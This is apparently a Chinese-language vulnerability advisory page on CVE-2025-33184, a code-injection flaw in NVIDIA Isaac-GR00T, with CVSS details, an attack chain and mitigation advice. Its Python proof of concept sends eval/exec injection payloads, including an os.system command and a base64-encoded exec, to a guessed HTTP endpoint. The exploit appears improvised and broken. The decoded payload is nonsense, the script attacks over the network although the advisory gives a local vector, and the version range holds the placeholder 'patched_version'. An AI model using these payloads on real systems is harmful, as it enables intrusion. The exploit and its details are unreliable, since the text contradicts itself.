IPBUF安全漏洞报告
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CVE-2025-33184 CVSS 7.8 高危

CVE-2025-33184: NVIDIA Isaac-GR00T Python组件代码注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-33184
漏洞类型
代码注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NVIDIA Isaac-GR00T

相关标签

代码注入NVIDIAIsaac-GR00T高危本地攻击权限提升Python漏洞机器人框架CVE-2025-33184

漏洞概述

CVE-2025-33184是NVIDIA Isaac-GR00T机器人框架中的一个高危代码注入漏洞。该漏洞存在于Python组件中,CVSS评分达到7.8,属于高危级别。攻击者利用该漏洞可以在本地环境中注入并执行任意代码,从而实现权限提升、信息窃取和数据篡改等恶意操作。NVIDIA Isaac-GR00T是NVIDIA公司推出的开源机器人学习框架,广泛应用于自动驾驶、服务机器人和工业自动化等领域。该漏洞的发现者为NVIDIA安全团队([email protected]),披露日期为2025年11月18日。由于该框架在机器人和AI领域的重要应用,漏洞可能影响大量依赖该框架进行机器人开发和部署的企业和研究机构。攻击复杂度低,无需用户交互,且需要低权限即可发起攻击,这使得该漏洞具有较高的实际威胁性。

技术细节

该漏洞属于代码注入(Code Injection)类型,存在于NVIDIA Isaac-GR00T框架的Python组件中。攻击者通过构造特定的输入数据,利用Python的eval()、exec()或其他动态代码执行函数,将恶意代码注入到应用程序的执行流程中。由于该漏洞位于Isaac-GR00T的核心Python模块中,攻击成功后可以获取与应用程序相同级别的系统权限。从CVSS向量可以看出,攻击路径为本地攻击(AV:L),需要低权限(PR:L)即可实施,无需用户交互(UI:N)。成功利用后可造成机密性(C:H)、完整性(I:H)和可用性(A:H)三个方面的严重影响。攻击者可能通过上传恶意配置文件、操控输入数据或利用框架的扩展机制来实现代码注入。

攻击链分析

STEP 1
步骤1
情报收集:攻击者获取目标系统的本地访问权限,识别运行NVIDIA Isaac-GR00T的系统和版本信息
STEP 2
步骤2
漏洞识别:扫描Isaac-GR00T的Python组件接口,寻找可注入的输入点(如API端点、配置文件加载、用户输入处理等)
STEP 3
步骤3
载荷构造:根据识别到的注入点,构造包含恶意Python代码的payload,利用eval/exec等危险函数执行任意命令
STEP 4
步骤4
代码执行:发送精心构造的请求触发代码注入,在Isaac-GR00T进程中执行恶意代码
STEP 5
步骤5
权限提升:利用代码执行能力获取系统root权限或应用程序高权限账户
STEP 6
步骤6
持久化控制:安装后门、修改系统配置或窃取敏感数据,完成攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-33184 PoC - NVIDIA Isaac-GR00T Code Injection # This PoC demonstrates the code injection vulnerability in NVIDIA Isaac-GR00T Python component import requests import json def exploit_isaac_gr00t(target_ip, target_port=5000): """ Exploit CVE-2025-33184 - Code Injection in NVIDIA Isaac-GR00T Prerequisites: Low-privilege access to the system running Isaac-GR00T """ # Malicious payload that attempts to execute arbitrary code # This exploits the unsafe use of eval() or exec() in Python component malicious_payload = { "command": "__import__('os').system('id > /tmp/pwned.txt')", "input_data": "'; exec(__import__('base64').b64decode('aW1wb3J0IG9zCnVzZXI9b3MudXNlcm5hbWUoKQppZCh1c2VyKQ==')) #" } # Target endpoint (may vary based on Isaac-GR00T configuration) url = f"http://{target_ip}:{target_port}/api/v1/execute" try: response = requests.post(url, json=malicious_payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") # Check if exploit was successful if response.status_code == 200: print("[+] Payload delivered successfully") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_vulnerability(target_ip): """ Verify if the target is vulnerable to CVE-2025-33184 """ # Check for exposed Python component endpoints check_url = f"http://{target_ip}:5000/api/v1/status" try: response = requests.get(check_url, timeout=5) if response.status_code == 200: print("[!] Target appears to be running Isaac-GR00T Python component") return True except: pass return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-33184.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 print(f"[*] Testing target: {target}:{port}") if verify_vulnerability(target): exploit_isaac_gr00t(target, port)

影响范围

NVIDIA Isaac-GR00T < 1.0.0 (all platforms)
NVIDIA Isaac-GR00T < patched_version (specific versions pending NVIDIA官方确认)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制对Isaac-GR00T Python组件的网络访问,仅允许受信任的IP地址访问;2) 实施严格的访问控制列表(ACL),确保非授权用户无法访问相关接口;3) 监控应用程序日志,密切关注异常的代码执行行为和系统调用;4) 考虑在网络层部署入侵检测系统(IDS)监控可疑流量;5) 如果业务允许,临时禁用非必要的Python动态执行功能;6) 对运行Isaac-GR00T的系统实施网络隔离,降低横向移动风险。

参考链接

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